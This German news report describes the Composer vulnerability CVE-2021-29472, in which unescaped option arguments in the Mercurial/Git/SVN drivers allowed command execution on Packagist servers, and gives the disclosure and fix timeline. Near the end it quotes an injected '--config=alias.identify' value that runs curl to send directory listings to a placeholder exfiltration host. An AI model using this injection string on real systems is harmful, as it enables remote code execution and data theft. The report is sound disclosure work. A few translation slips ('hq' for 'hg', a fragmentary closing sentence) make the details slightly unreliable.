Im Composer-Abhängigkeitsmanager wurde eine kritische Sicherheitsanfälligkeit (CVE-2021-29472) identifiziert, die es ermöglicht, beliebige Befehle im System auszuführen, während ein Paket mit einem speziell formatierten URL-Wert verarbeitet wird, der die Adresse für das Herunterladen von Quelltexten bestimmt. Das Problem tritt in den Komponenten GitDriver, SvnDriver und HgDriver auf, die bei der Nutzung von Versionskontrollsystemen wie Git, Subversion und Mercurial verwendet werden. Die Sicherheitsanfälligkeit wurde in den Versionen Composer 1.10.22 und 2.0.13 behoben.
Es ist besonders hervorzuheben, dass das Problem hauptsächlich das standardmäßig in Composer verwendete Paket-Repository Packagist betraf, das 306.000 Pakete für Entwickler in PHP umfasst und monatlich über 1,4 Milliarden Downloads verarbeitet. Ein Experiment hat gezeigt, dass Angreifer mit Kenntnis des Problems die Kontrolle über die Infrastruktur von Packagist übernehmen und die Anmeldedaten von Betreuern abfangen oder den Download von Paketen auf einen externen Server umleiten könnten, wodurch bösartige Modifikationen eingefügt werden, um ein Hintertürchen während des Installationsprozesses von Abhängigkeiten einzuschleusen.
Das Risiko für Endanwender besteht darin, dass der Inhalt von composer.json in der Regel vom Nutzer selbst festgelegt wird und die Links zu den Quelltexten beim Zugriff auf externe Repositories, die in der Regel vertrauenswürdig sind, übergeben werden. Der Hauptangriff richtete sich gegen das Repository Packagist.org und den Dienst Private Packagist, die Composer mit Daten von Nutzern ansteuern. Angreifer konnten ihren Code auf den Servern von Packagist ausführen, indem sie ein speziell gestaltetes Paket bereitstellten.
Das Team von Packagist behebt die Schwachstelle innerhalb von 12 Stunden nach Eingang der Meldung über die Sicherheitsanfälligkeit. Die Forscher benachrichtigten die Entwickler von Packagist vertraulich am 22. April, und am selben Tag wurde das Problem behoben. Das öffentliche Update von Composer zur Behebung der Schwachstelle wurde am 27. April veröffentlicht, und die Details wurden am 28. April bekannt gegeben. Eine Überprüfung der Protokolle auf den Servern von Packagist ergab keine verdächtigen Aktivitäten im Zusammenhang mit der Schwachstelle.
Das Problem entsteht durch einen Fehler im Code zur Validierung von URLs in der Hauptdatei composer.json sowie in den Links für den Download der Quelltexte. Dieser Fehler besteht bereits seit November 2011. Um den Code ohne Bindung an ein bestimmtes Versionskontrollsystem bereitzustellen, verwendet Packagist spezielle Schichten, die durch den Aufruf von „fromShellCommandline“ mit der Übertragung von Argumenten aus der Befehlszeile ausgeführt werden. Zum Beispiel wird für Git der Befehl „git ls-remote —heads $URL“ aufgerufen, wobei die URL mit der Methode „ProcessExecutor::escape($url)“ verarbeitet wird, die potenziell gefährliche Konstrukte wie „$(…)“ oder „`…`“ maskiert.
Das Kernproblem besteht darin, dass die Methode ProcessExecutor::escape die Sequenz „—“ nicht escaped hat, was es ermöglichte, im URL jeden zusätzlichen Aufrufparameter anzugeben. Eine solche Escaping-Funktion fehlte in den Treibern GitDriver.php, SvnDriver.php und HgDriver.php. Ein Angriff über GitDriver.php wurde dadurch behindert, dass der Befehl „git ls-remote“ keine zusätzlichen Argumente nach dem Pfad unterstützte. Ein Angriff auf HgDriver.php war jedoch möglich, indem der Parameter „—config“ an das Tool „hq“ übergeben wurde, welches die Ausführung beliebiger Befehle durch Manipulation der Einstellung „alias.identify“ ermöglicht. Zum Beispiel hätte man für das Herunterladen und Ausführen von Code über den Aufruf des Tools curl angeben können: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”
Durch das Bereitstellen eines Testpakets mit einem ähnlichen URL auf Packagist haben die Forscher bestätigt, dass nach der Bereitstellung eine HTTP-Anfrage von einem ihrer Server einging. Server Packagist in AWS, das eine Liste der Dateien im aktuellen Verzeichnis enthält.
Quelle: opennet.ru
